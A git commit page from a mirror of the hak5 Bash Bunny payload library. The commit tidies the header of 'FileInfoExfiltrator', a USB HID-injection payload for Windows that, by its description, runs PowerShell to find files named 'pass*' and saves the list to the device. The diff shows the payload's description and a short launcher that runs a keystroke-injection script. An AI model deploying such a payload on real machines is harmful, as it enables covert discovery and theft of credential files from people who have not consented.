hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Cleanup: FileInfoExfil: Update Payload Header

Browse Source
This commit is contained in:
Marc
2019-07-05 08:31:49 +01:00
committed by GitHub
parent 5b14682936
commit 937ecc7e8b
1 changed files with 16 additions and 24 deletions
Download Patch File Download Diff File Expand all files Collapse all files

40
payloads/library/exfiltration/FileInfoExfil/payload.txt
View File

@@ -1,18 +1,21 @@
#Title: FileInfoExfiltrator #!/bin/bash
#Author: A_SarcasticGuy
#Version: 1.0 # Title: FileInfoExfiltrator
#Target: Windows # Author: A_SarcasticGuy
# Version: 1.0
# Attack Modes: HID, STORAGE
# Targets: Windows
# Description: Runs Powershell that calls a .ps1 file to scan (in all subdirectories of path provided)
# for all files (by default starting on c:/) beginning with a #specific phrase (default "pass*")
# to then be outputted to a text file in the loot directory, in a subfolder with the name of the
# system and with a file name of the date and time of the scan.
# NOTE: p.ps1 MUST be in loot/payloads/ for this to work.
# #
#Runs Powershell that calls a .ps1 file to scan (in all subdirectories of path provided) for all files (by default starting on c:/) beginning with a #specific phrase (default "pass*") to then #be outputted to a text file in the loot directory, in a subfolder with the name of the system and with a #file name of the date and time of the scan. # LEDS
# Magenta: Script Started
# Yellow: Ducky Script Started
# Red: Failed to run Ducky Script, see log file
# #
# Options: Search Directory: Find in p.bat (default c:/)
# Search criteria: Find in p.bat (default "pass*")
#
# Purple LED..................Script Started
# Yellow LED..................Ducky Script Started
# Red LED.....................Failed to run Ducky Script, see log file
#
# NOTE: p.ps1 MUST be in loot/payloads/ for this to work.
# #
LED SETUP LED SETUP
@@ -23,29 +26,18 @@ ATTACKMODE HID STORAGE
if [ -f "/root/udisk/payloads/${SWITCH_POSITION}/ducky_script.txt" ]; then if [ -f "/root/udisk/payloads/${SWITCH_POSITION}/ducky_script.txt" ]; then
#Call ducky script #Call ducky script
LED STAGE1 LED STAGE1
QUACK ${SWITCH_POSITION}/ducky_script.txt QUACK ${SWITCH_POSITION}/ducky_script.txt
QUACK DELAY 10000 QUACK DELAY 10000
LED FINISH LED FINISH
else else
LED FAIL LED FAIL
#Red LED if unable to load script #Red LED if unable to load script
echo "Unable to load ducky_script.txt" >> /root/debuglog.txt echo "Unable to load ducky_script.txt" >> /root/debuglog.txt
exit 1 exit 1
fi fi